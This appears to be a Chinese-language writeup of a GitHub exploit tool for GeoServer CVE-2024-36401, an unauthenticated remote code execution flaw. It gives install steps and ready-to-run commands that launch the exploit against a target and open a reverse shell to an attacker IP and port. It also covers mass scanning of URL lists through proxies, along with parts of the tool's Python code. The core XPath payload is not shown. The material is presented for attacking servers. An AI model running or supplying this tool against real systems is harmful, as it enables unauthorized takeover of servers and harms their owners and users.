GeoServer CVE-2024-36401 远程代码执行漏洞利用工具

2 阅读3分钟

GeoServer CVE-2024-36401 RCE Exploit

GeoServer 是一个开源 Java 地理空间数据服务器。本工具针对 CVE-2024-36401 漏洞,允许未经身份验证的攻击者通过不安全 XPath 表达式评估实现远程代码执行。

功能特性

  • 远程代码执行:通过精心构造的 POST 请求发送恶意 XPath 表达式,在目标系统上以 root 权限执行任意命令
  • 反向 shell 支持:自动建立反向 shell 连接,获取远程系统控制权
  • 批量漏洞扫描:支持从文件中读取多个 URL 进行并发扫描,快速识别脆弱目标
  • 代理支持:支持通过 HTTP 代理进行漏洞利用和扫描
  • 多线程扫描:可配置线程数,提高批量扫描效率
  • 版本检测:自动检测目标 GeoServer 版本是否为脆弱版本
  • 自定义绑定:支持自定义监听绑定的主机和端口

安装指南

系统要求

  • Python 3.6+
  • 网络连接(用于发送 HTTP 请求和接收反向连接)

依赖安装

使用 pip 安装所需依赖:

pip install requests rich-click alive-progress pwncat packaging urllib3

获取工具

git clone https://github.com/Chocapikk/CVE-2024-36401.git
cd CVE-2024-36401

使用说明

命令行参数

参数简写类型描述
--url-uTEXT目标 URL
--remote-ip-ipTEXT接收反向 shell 的 IP 地址
--remote-port-rpINTEGER反向 shell 的端口
--bind-host-bhTEXT本地监听绑定主机
--bind-port-bpINTEGER本地监听绑定端口
--proxy-pTEXTHTTP 代理 URL
--check-cTEXT包含 URL 列表的文件路径
--output-oTEXT漏洞 URL 输出文件
--threads-tINTEGER扫描线程数(默认:10)

单目标利用

对单个目标进行漏洞利用并获取反向 shell:

python exploit.py -u http://target.com:8080 -ip 192.168.1.100 -rp 4444

使用代理:

python exploit.py -u http://target.com:8080 -ip 192.168.1.100 -rp 4444 --proxy http://127.0.0.1:8080

自定义监听绑定地址:

python exploit.py -u http://target.com:8080 -ip 192.168.1.100 -rp 4444 --bind-host 0.0.0.0 --bind-port 5555

批量漏洞扫描

扫描多个 URL,识别存在漏洞的目标:

python exploit.py --check urls.txt --threads 20 --output vulnerable.txt

核心代码

GeoServerExploit 核心类

class GeoServerExploit:
    def __init__(
        self,
        url: str,
        remote_ip: str,
        remote_port: int,
        bind_host: str = None,
        bind_port: int = None,
        proxy: dict = None,
        threads: int = 1,
    ):
        self.url = url.rstrip("/") if url else None
        self.remote_ip = remote_ip
        self.remote_port = remote_port
        self.bind_host = bind_host if bind_host is not None else remote_ip
        self.bind_port = bind_port if bind_port is not None else remote_port
        self.proxy = proxy
        self.threads = threads
        self.payload_delivered = False
        self.listener_event = threading.Event()

版本检测方法

def detect_version(self, url: str) -> bool:
    """
    检查目标 URL 是否运行存在漏洞的 GeoServer 版本
    """
    version_path = "/geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage"
    full_url = url.rstrip("/") + version_path

    try:
        response = requests.get(
            full_url, timeout=10, verify=False
        )
        # 版本解析和漏洞判断逻辑
        # 脆弱版本:< 2.23.2, 2.23.6, 2.24.0-2.24.3, 2.25.0
        # ...

彩色输出方法

def custom_print(self, message: str, header: str) -> None:
    header_colors = {
        "+": "green",    # 成功信息
        "-": "red",      # 错误信息
        "!": "yellow",   # 警告信息
        "*": "blue",     # 普通信息
        "~": "magenta",  # 分隔信息
    }
    header_color = header_colors.get(header, "white")
    formatted_message = click.style(
        f"[{header}] ", fg=header_color, bold=True
    ) + click.style(message, bold=True, fg="white")
    click.echo(formatted_message)

漏洞利用流程

  1. 版本检测:访问 AboutGeoServerPage 获取版本信息
  2. Payload 构造:生成包含恶意 XPath 表达式的 POST 请求
  3. 命令执行:通过 OGC 请求参数注入命令
  4. 反向 shell:使用 pwncat 建立监听并获取 shell
  5. 多线程扫描:使用 ThreadPoolExecutor 并发扫描目标列表

漏洞详情

  • CVE 编号:CVE-2024-36401
  • 影响版本:< 2.23.2, 2.23.6, 2.24.0-2.24.3, 2.25.0
  • 漏洞类型:远程代码执行 (RCE)
  • 攻击复杂度:低
  • 权限要求:无
  • 用户交互:无

输出示例

成功利用后,攻击者将获得目标系统的反向 shell 访问权限,可执行任意系统命令。工具会实时输出漏洞检测、Payload 发送、shell 建立等各阶段的状态信息。 6HFtX5dABrKlqXeO5PUv/1bw5fsGQja4GPCbP5uIYew=